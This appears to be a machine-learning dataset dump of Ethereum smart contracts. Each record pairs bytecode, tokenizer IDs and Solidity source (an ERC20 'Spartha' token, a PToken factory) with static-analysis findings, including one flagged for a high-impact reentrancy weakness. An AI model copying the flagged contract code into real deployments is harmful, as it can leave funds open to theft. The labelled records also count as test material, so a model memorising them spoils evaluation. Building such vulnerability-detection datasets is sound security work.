65b610fbc5760405162461bcd60e51b815260040180806020018281038252602f815260200180612893602f913960400191505060405180910390fd5b60008281526008602090815260409182902080548351601f60026000196101006001861615020190931692909204918201849004840281018401909452808452606093928301828280156110515780601f1061102657610100808354040283529160200191611051565b820191906000526020600020905b81548152906001019060200180831161103457829003601f168201915b505050505090506060611062610b91565b9050805160001415611076575090506107e3565b8151156111375780826040516020018083805190602001908083835b602083106110b15780518252601f199092019160209182019101611092565b51815160209384036101000a600019018019909216911617905285519190930192850191508083835b602083106110f95780518252601f1990920191602091820191016110da565b6001836020036101000a03801982511681845116808217855250505050505090500192505050604051602081830303815290604052925050506107e3565b80611141856119cb565b6040516020018083805190602001908083835b602083106111735780518252601f199092019160209182019101611154565b51815160209384036101000a600019018019909216911617905285519190930192850191508083835b602083106111bb5780518252601f19909201916020918201910161119c565b6001836020036101000a0380198251168184511680821785525050505050509050019250505060405160208183030381529060405292505050919050565b600f54341015611250576040805162461bcd60e51b815260206004820152601b60248201527f496e73756666696369656e742066756e647320746f206d696e742e0000000000604482015290519081900360640190fd5b600061125a611aa6565b90506112668482611ab7565b6112a68184848080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250611ad192505050565b6112ae611b34565b6010546040516000916001600160a01b03169034908381818185875af1925050503d80600081146112fb576040519150601f19603f3d011682016040523d82523d6000602084013e611300565b606091505b5050905080611348576040805162461bcd60e51b815260206004820152600f60248201526e151c985b9cd9995c8819985a5b1959608a1b604482015290519081900360640190fd5b7f997115af5924f5e38964c6d65c804d4cb85129b65e62eb20a8ca6329dbe57e18828686866113756115f8565b604080518681526001600160a01b0380871660208301528316606082015260809181018281529181018490529060a08201858580828437600083820152604051601f909101601f19169092018290039850909650505050505050a15050505050565b600b546000906001600160a01b03838116911614806114035750600c546001600160a01b038381169116145b8061141b5750600d546001600160a01b038381169116145b1561142857506001610a4e565b610a4b83836115fc565b61143a6115f8565b6001600160a01b031661144b610d06565b6001600160a01b031614611494576040805162461bcd60e51b8152602060048201819052602482015260008051602061284a833981519152604482015290519081900360640190fd5b601080546001600160a01b0383166001600160a01b0319909116811790915560408051918252517f6632de8ab33c46549f7bb29f647ea0d751157b25fe6a14b1bcc7527cdfbeb79c9181900360200190a150565b6114f06115f8565b6001600160a01b0316611501610d06565b6001600160a01b03161461154a576040805162461bcd60e51b8152602060048201819052602482015260008051602061284a833981519152604482015290519081900360640190fd5b6001600160a01b03811661158f5760405162461bcd60e51b81526004018080602001828103825260268152602001806126a96026913960400191505060405180910390fd5b600a546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600a80546001600160a01b0319166001600160a01b0392909216919091179055565b6000610a4e600283611b3f565b3390565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b600081815260046020526040902080546001600160a01b0319166001600160a01b038416908117909155819061165f82610b69565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000610a4e82611b4b565b60006116ae826115eb565b6116e95760405162461bcd60e51b815260040180806020018281038252602c815260200180612719602c913960400191505060405180910390fd5b60006116f483610b69565b905061170081856113d7565b1561170f576001915050610a4e565b6117198484611b4f565b949350505050565b826001600160a01b031661173482610b69565b6001600160a01b0316146117795760405162461bcd60e51b815260040180806020018281038252602981526020018061286a6029913960400191505060405180910390fd5b6001600160a01b0382166117be5760405162461bcd60e51b81526004018080602001828103825260248152602001806126cf6024913960400191505060405180910390fd5b6117c98383836109b6565b6117d460008261162a565b6001600160a01b03831660009081526001602052604090206117f69082611beb565b506001600160a01b03821660009081526001602052604090206118199082611bf7565b5061182660028284611c03565b5080826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b6000610a4b8383611c19565b600061188482610b69565b9050611892816000846109b6565b61189d60008361162a565b60008281526008602052604090205460026000196101006001841615020190911604156118db5760008281526008602052604081206118db9161257a565b6001600160a01b03811660009081526001602052604090206118fd9083611beb565b50611909600283611c7d565b5060405182906000906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908390a45050565b60008080806119558686611c89565b9097909650945050505050565b600061196f848484611d04565b90505b9392505050565b611984848484611721565b61199084848484611dce565b610f705760405162461bcd60e51b81526004018080602001828103825260328152602001806126776032913960400191505060405180910390fd5b6060816119f057506040805180820190915260018152600360fc1b60208201526107e3565b8160005b8115611a0857600101600a820491506119f4565b60608167ffffffffffffffff81118015611a2157600080fd5b506040519080825280601f01601f191660200182016040528015611a4c576020820181803683370190505b50859350905060001982015b8315611a9d57600a840660300160f81b82828060019003935081518110611a7b57fe5b60200101906001600160f81b031916908160001a905350600a84049350611a58565b50949350505050565b600e546000906109c7906001611f36565b610b11828260405180602001604052806000815250611f90565b611ada826115eb565b611b155760405162461bcd60e51b815260040180806020018281038252602c81526020018061281e602c913960400191505060405180910390fd5b600082815260086020908152604090912082516109b6928401906125c1565b600e80546001019055565b6000610a4b8383611fe2565b5490565b6000611b5a826115eb565b611b955760405162461bcd60e51b815260040180806020018281038252602c815260200180612719602c913960400191505060405180910390fd5b6000611ba083610b69565b9050806001600160a01b0316846001600160a01b03161480611bdb5750836001600160a01b0316611bd08461087e565b6001600160a01b0316145b80611719575061171981856115fc565b6000610a4b8383611ffa565b6000610a4b83836120c0565b600061196f84846001600160a01b03851661210a565b81546000908210611c5b5760405162461bcd60e51b81526004018080602001828103825260228152602001806126556022913960400191505060405180910390fd5b826000018281548110611c6a57fe5b9060005260206000200154905092915050565b6000610a4b83836121a1565b815460009081908310611ccd5760405162461bcd60e51b81526004018080602001828103825260228152602001806127d06022913960400191505060405180910390fd5b6000846000018481548110611cde57fe5b906000526020600020906002020190508060000154816001015492509250509250929050565b60008281526001840160205260408120548281611d9f5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611d64578181015183820152602001611d4c565b50505050905090810190601f168015611d915780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50846000016001820381548110611db257fe5b9060005260206000209060020201600101549150509392505050565b6000611de2846001600160a01b0316612275565b611dee57506001611719565b6060611efc630a85bd0160e11b611e036115f8565b88878760405160240180856001600160a01b03168152602001846001600160a01b0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611e6a578181015183820152602001611e52565b50505050905090810190601f168015611e975780820380516001836020036101000a031916815260200191505b5095505050505050604051602081830303815290604052906001600160e01b0319166020820180516001600160e01b038381831617835250505050604051806060016040528060328152602001612677603291396001600160a01b038816919061227b565b90506000818060200190516020811015611f1557600080fd5b50516001600160e01b031916630a85bd0160e11b1492505050949350505050565b600082820183811015610a4b576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b611f9a838361228a565b611fa76000848484611dce565b6109b65760405162461bcd60e51b81526004018080602001828103825260328152602001806126776032913960400191505060405180910390fd5b60009081526001919091016020526040902054151590565b600081815260018301602052604081205480156120b6578354600019808301919081019060009087908390811061202d57fe5b906000526020600020015490508087600001848154811061204a57fe5b60009182526020808320909101929092558281526001898101909252604090209084019055865487908061207a57fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050610a4e565b6000915050610a4e565b60006120cc8383611fe2565b61210257508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155610a4e565b506000610a4e565b60008281526001840160205260408120548061216f575050604080518082018252838152602080820184815286546001818101895560008981528481209551600290930290950191825591519082015586548684528188019092529290912055611972565b8285600001600183038154811061218257fe5b9060005260206000209060020201600101819055506000915050611972565b600081815260018301602052604081205480156120b657835460001980830191908101906000908790839081106121d457fe5b90600052602060002090600202019050808760000184815481106121f457fe5b60009182526020808320845460029093020191825560019384015491840191909155835482528983019052604090209084019055865487908061223357fe5b6000828152602080822060026000199094019384020182815560019081018390559290935588815289820190925260408220919091559450610a4e9350505050565b3b151590565b606061196f84846000856123b8565b6001600160a01b0382166122e5576040805162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f2061646472657373604482015290519081900360640190fd5b6122ee816115eb565b15612340576040805162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000604482015290519081900360640190fd5b61234c600083836109b6565b6001600160a01b038216600090815260016020526040902061236e9082611bf7565b5061237b60028284611c03565b5060405181906001600160a01b038416906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b6060824710156123f95760405162461bcd60e51b81526004018080602001828103825260268152602001806126f36026913960400191505060405180910390fd5b61240285612275565b612453576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b60006060866001600160a01b031685876040518082805190602001908083835b602083106124925780518252601f199092019160209182019101612473565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d80600081146124f4576040519150601f19603f3d011682016040523d82523d6000602084013e6124f9565b606091505b5091509150612509828286612514565b979650505050505050565b60608315612523575081611972565b8251156125335782518084602001fd5b60405162461bcd60e51b8152602060048201818152845160248401528451859391928392604401919085019080838360008315611d64578181015183820152602001611d4c565b50805460018160011615610100020316600290046000825580601f106125a057506125be565b601f0160209004906000526020600020908101906125be919061263f565b50565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061260257805160ff191683800117855561262f565b8280016001018555821561262f579182015b8281111561262f578251825591602001919060010190612614565b5061263b92915061263f565b5090565b5b8082111561263b576000815560010161264056fe456e756d657261626c655365743a20696e646578206f7574206f6620626f756e64734552433732313a207472616e7366657220746f206e6f6e20455243373231526563656976657220696d706c656d656e7465724f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734552433732313a207472616e7366657220746f20746865207a65726f2061646472657373416464726573733a20696e73756666696369656e742062616c616e636520666f722063616c6c4552433732313a206f70657261746f7220717565727920666f72206e6f6e6578697374656e7420746f6b656e4552433732313a20617070726f76652063616c6c6572206973206e6f74206f776e6572206e6f7220617070726f76656420666f7220616c6c4552433732313a2062616c616e636520717565727920666f7220746865207a65726f20616464726573734552433732313a206f776e657220717565727920666f72206e6f6e6578697374656e7420746f6b656e456e756d657261626c654d61703a20696e646578206f7574206f6620626f756e64734552433732313a20617070726f76656420717565727920666f72206e6f6e6578697374656e7420746f6b656e4552433732314d657461646174613a2055524920736574206f66206e6f6e6578697374656e7420746f6b656e4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65724552433732313a207472616e73666572206f6620746f6b656e2074686174206973206e6f74206f776e4552433732314d657461646174613a2055524920717565727920666f72206e6f6e6578697374656e7420746f6b656e4552433732313a20617070726f76616c20746f2063757272656e74206f776e65724552433732313a207472616e736665722063616c6c6572206973206e6f74206f776e6572206e6f7220617070726f766564a264697066735822122081bd44284a269e11878cad5783f09c9f346a9c970bc2231bb5518bc2fff7dbd564736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2620, 2063, 24096, 2629, 2497, 2575, 18827, 2683, 2094, 2549, 2497, 2692, 2094, 2692, 2575, 29292, 16147, 27814, 2497, 2620, 2063, 2581, 2620, 2509, 2063, 2581, 2063, 2683, 2278, 2581, 2581, 16068, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1020, 1012, 2260, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 2581, 17465, 1013, 9413, 2278, 2581, 17465, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3229, 1013, 2219, 3085, 1012, 14017, 1000, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 9231, 6199, 6494, 20782, 1008, 9231, 6199, 6494, 20782, 1011, 9413, 2278, 2581, 17465, 3206, 2008, 2317, 27103, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,889
0x978ea7f09ba5bb5c16214f189a5a5c2a50ee6204
pragma solidity ^0.4.20; interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } contract TokenERC20 { // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This generates a public event on the blockchain that will notify clients event Approval(address indexed _owner, address indexed _spender, uint256 _value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constructor function * * Initializes contract with initial supply tokens to the creator of the contract */ function TokenERC20( ) public { totalSupply = 100000000 *10 **uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = "Spartha"; // Set the name for display purposes symbol = "SPA"; // Set the symbol for display purposes } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value >= balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; emit Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` on behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens on your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply emit Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply emit Burn(_from, _value); return true; } }
0x6080604052600436106100b95763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100be578063095ea7b31461014857806318160ddd1461018057806323b872dd146101a7578063313ce567146101d157806342966c68146101fc57806370a082311461021457806379cc67901461023557806395d89b4114610259578063a9059cbb1461026e578063cae9ca5114610292578063dd62ed3e146102fb575b600080fd5b3480156100ca57600080fd5b506100d3610322565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561010d5781810151838201526020016100f5565b50505050905090810190601f16801561013a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015457600080fd5b5061016c600160a060020a03600435166024356103b0565b604080519115158252519081900360200190f35b34801561018c57600080fd5b50610195610416565b60408051918252519081900360200190f35b3480156101b357600080fd5b5061016c600160a060020a036004358116906024351660443561041c565b3480156101dd57600080fd5b506101e661048b565b6040805160ff9092168252519081900360200190f35b34801561020857600080fd5b5061016c600435610494565b34801561022057600080fd5b50610195600160a060020a036004351661050c565b34801561024157600080fd5b5061016c600160a060020a036004351660243561051e565b34801561026557600080fd5b506100d36105ef565b34801561027a57600080fd5b5061016c600160a060020a0360043516602435610649565b34801561029e57600080fd5b50604080516020600460443581810135601f810184900484028501840190955284845261016c948235600160a060020a031694602480359536959460649492019190819084018382808284375094975061065f9650505050505050565b34801561030757600080fd5b50610195600160a060020a0360043581169060243516610778565b6000805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103a85780601f1061037d576101008083540402835291602001916103a8565b820191906000526020600020905b81548152906001019060200180831161038b57829003601f168201915b505050505081565b336000818152600560209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60035481565b600160a060020a038316600090815260056020908152604080832033845290915281205482111561044c57600080fd5b600160a060020a0384166000908152600560209081526040808320338452909152902080548390039055610481848484610795565b5060019392505050565b60025460ff1681565b336000908152600460205260408120548211156104b057600080fd5b3360008181526004602090815260409182902080548690039055600380548690039055815185815291517fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59281900390910190a2506001919050565b60046020526000908152604090205481565b600160a060020a03821660009081526004602052604081205482111561054357600080fd5b600160a060020a038316600090815260056020908152604080832033845290915290205482111561057357600080fd5b600160a060020a0383166000818152600460209081526040808320805487900390556005825280832033845282529182902080548690039055600380548690039055815185815291517fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59281900390910190a250600192915050565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103a85780601f1061037d576101008083540402835291602001916103a8565b6000610656338484610795565b50600192915050565b60008361066c81856103b0565b15610770576040517f8f4ffcb10000000000000000000000000000000000000000000000000000000081523360048201818152602483018790523060448401819052608060648501908152875160848601528751600160a060020a03871695638f4ffcb195948b94938b939192909160a490910190602085019080838360005b838110156107045781810151838201526020016106ec565b50505050905090810190601f1680156107315780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561075357600080fd5b505af1158015610767573d6000803e3d6000fd5b50505050600191505b509392505050565b600560209081526000928352604080842090915290825290205481565b6000600160a060020a03831615156107ac57600080fd5b600160a060020a0384166000908152600460205260409020548211156107d157600080fd5b600160a060020a03831660009081526004602052604090205482810110156107f857600080fd5b50600160a060020a038083166000818152600460209081526040808320805495891680855282852080548981039091559486905281548801909155815187815291519390950194927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a3600160a060020a0380841660009081526004602052604080822054928716825290205401811461089757fe5b505050505600a165627a7a72305820ff652dd5ab3d9bc406ab0ec28a95982a4078034a29b24bb027444e889aae3b390029
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2581, 2620, 5243, 2581, 2546, 2692, 2683, 3676, 2629, 10322, 2629, 2278, 16048, 17465, 2549, 2546, 15136, 2683, 2050, 2629, 2050, 2629, 2278, 2475, 2050, 12376, 4402, 2575, 11387, 2549, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2322, 1025, 8278, 19204, 2890, 6895, 14756, 3372, 1063, 3853, 4374, 29098, 12298, 2389, 1006, 4769, 1035, 2013, 1010, 21318, 3372, 17788, 2575, 1035, 3643, 1010, 4769, 1035, 19204, 1010, 27507, 1035, 4469, 2850, 2696, 1007, 6327, 1025, 1065, 3206, 19204, 2121, 2278, 11387, 1063, 1013, 1013, 2270, 10857, 1997, 1996, 19204, 5164, 2270, 2171, 1025, 5164, 2270, 6454, 1025, 21318, 3372, 2620, 2270, 26066, 2015, 1027, 2324, 1025, 1013, 1013, 2324, 26066, 2015, 2003, 1996, 6118, 4081, 12398, 1010, 4468, 5278, 2009, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,890
0x978f0038a69a0eca925df4510e0085747744dda8
// File: iface/IPTokenFactory.sol // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity ^0.6.12; interface IPTokenFactory { function getGovernance() external view returns(address); function getPTokenOperator(address contractAddress) external view returns(bool); function getPTokenAuthenticity(address pToken) external view returns(bool); } // File: iface/IParasset.sol pragma solidity ^0.6.12; interface IParasset { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function destroy(uint256 amount, address account) external; function issuance(uint256 amount, address account) external; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: lib/SafeMath.sol pragma solidity ^0.6.12; // a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math) library SafeMath { function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x, 'ds-math-add-overflow'); } function sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x, 'ds-math-sub-underflow'); } function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow'); } function div(uint x, uint y) internal pure returns (uint z) { require(y > 0, "ds-math-div-zero"); z = x / y; // assert(a == b * c + a % b); // There is no case in which this doesn't hold } } // File: PToken.sol pragma solidity ^0.6.12; contract PToken is IParasset { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 public _totalSupply = 0; string public name = ""; string public symbol = ""; uint8 public decimals = 18; IPTokenFactory pTokenFactory; constructor (string memory _name, string memory _symbol) public { name = _name; symbol = _symbol; pTokenFactory = IPTokenFactory(address(msg.sender)); } //---------modifier--------- modifier onlyGovernance() { require(address(msg.sender) == pTokenFactory.getGovernance(), "Log:PToken:!governance"); _; } modifier onlyPool() { require(pTokenFactory.getPTokenOperator(address(msg.sender)), "Log:PToken:!Pool"); _; } //---------view--------- // Query factory contract address function getPTokenFactory() public view returns(address) { return address(pTokenFactory); } /// @notice The view of totalSupply /// @return The total supply of ntoken function totalSupply() override public view returns (uint256) { return _totalSupply; } /// @dev The view of balances /// @param owner The address of an account /// @return The balance of the account function balanceOf(address owner) override public view returns (uint256) { return _balances[owner]; } function allowance(address owner, address spender) override public view returns (uint256) { return _allowed[owner][spender]; } //---------transaction--------- function changeFactory(address factory) public onlyGovernance { pTokenFactory = IPTokenFactory(address(factory)); } function transfer(address to, uint256 value) override public returns (bool) { _transfer(msg.sender, to, value); return true; } function approve(address spender, uint256 value) override public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom(address from, address to, uint256 value) override public returns (bool) { _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); emit Approval(from, msg.sender, _allowed[from][msg.sender]); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function _transfer(address from, address to, uint256 value) internal { _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } function destroy(uint256 amount, address account) override external onlyPool{ require(_balances[account] >= amount, "Log:PToken:!destroy"); _balances[account] = _balances[account].sub(amount); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0x0), amount); } function issuance(uint256 amount, address account) override external onlyPool{ _balances[account] = _balances[account].add(amount); _totalSupply = _totalSupply.add(amount); emit Transfer(address(0x0), account, amount); } } // File: PTokenFactory.sol pragma solidity ^0.6.12; contract PTokenFactory { // Governance address address public governance; // contract address => bool, ptoken operation permissions mapping(address=>bool) allowAddress; // ptoken address => bool, ptoken verification mapping(address=>bool) pTokenMapping; // ptoken list address[] pTokenList; event createLog(address pTokenAddress); event pTokenOperator(address contractAddress, bool allow); constructor () public { governance = msg.sender; } //---------modifier--------- modifier onlyGovernance() { require(msg.sender == governance, "Log:PTokenFactory:!gov"); _; } //---------view--------- function strConcat(string memory _a, string memory _b) public pure returns (string memory){ bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); string memory ret = new string(_ba.length + _bb.length); bytes memory bret = bytes(ret); uint s = 0; for (uint i = 0; i < _ba.length; i++) { bret[s++] = _ba[i]; } for (uint i = 0; i < _bb.length; i++) { bret[s++] = _bb[i]; } return string(ret); } /// @dev View governance address /// @return governance address function getGovernance() public view returns(address) { return governance; } /// @dev View ptoken operation permissions /// @param contractAddress contract address /// @return bool function getPTokenOperator(address contractAddress) public view returns(bool) { return allowAddress[contractAddress]; } /// @dev View ptoken operation permissions /// @param pToken ptoken verification /// @return bool function getPTokenAuthenticity(address pToken) public view returns(bool) { return pTokenMapping[pToken]; } /// @dev View ptoken list length /// @return ptoken list length function getPTokenNum() public view returns(uint256) { return pTokenList.length; } /// @dev View ptoken address /// @param index array subscript /// @return ptoken address function getPTokenAddress(uint256 index) public view returns(address) { return pTokenList[index]; } //---------governance---------- /// @dev Set governance address /// @param add new governance address function setGovernance(address add) public onlyGovernance { require(add != address(0x0), "Log:PTokenFactory:0x0"); governance = add; } /// @dev Set governance address /// @param contractAddress contract address /// @param allow bool function setPTokenOperator(address contractAddress, bool allow) public onlyGovernance { allowAddress[contractAddress] = allow; emit pTokenOperator(contractAddress, allow); } /// @dev Create PToken /// @param name token name function createPtoken(string memory name) public onlyGovernance { PToken pToken = new PToken(strConcat("PToken_", name), strConcat("P", name)); pTokenMapping[address(pToken)] = true; pTokenList.push(address(pToken)); emit createLog(address(pToken)); } }
0x608060405234801561001057600080fd5b506004361061009e5760003560e01c806396e72f101161006657806396e72f1014610156578063ab033ea914610170578063bf996de714610196578063f541b2a91461023c578063ff74927b146102625761009e565b80631d8b3634146100a3578063289b3c0d146100dd578063369d6694146101015780635aa6e6751461013157806380652abb14610139575b600080fd5b6100c9600480360360208110156100b957600080fd5b50356001600160a01b0316610404565b604080519115158252519081900360200190f35b6100e5610422565b604080516001600160a01b039092168252519081900360200190f35b61012f6004803603604081101561011757600080fd5b506001600160a01b0381351690602001351515610431565b005b6100e56104ed565b6100e56004803603602081101561014f57600080fd5b50356104fc565b61015e610526565b60408051918252519081900360200190f35b61012f6004803603602081101561018657600080fd5b50356001600160a01b031661052c565b61012f600480360360208110156101ac57600080fd5b8101906020810181356401000000008111156101c757600080fd5b8201836020820111156101d957600080fd5b803590602001918460018302840111640100000000831117156101fb57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295506105f9945050505050565b6100c96004803603602081101561025257600080fd5b50356001600160a01b0316610837565b61038f6004803603604081101561027857600080fd5b81019060208101813564010000000081111561029357600080fd5b8201836020820111156102a557600080fd5b803590602001918460018302840111640100000000831117156102c757600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929594936020810193503591505064010000000081111561031a57600080fd5b82018360208201111561032c57600080fd5b8035906020019184600183028401116401000000008311171561034e57600080fd5b91908080601f0160208091040260200160405190810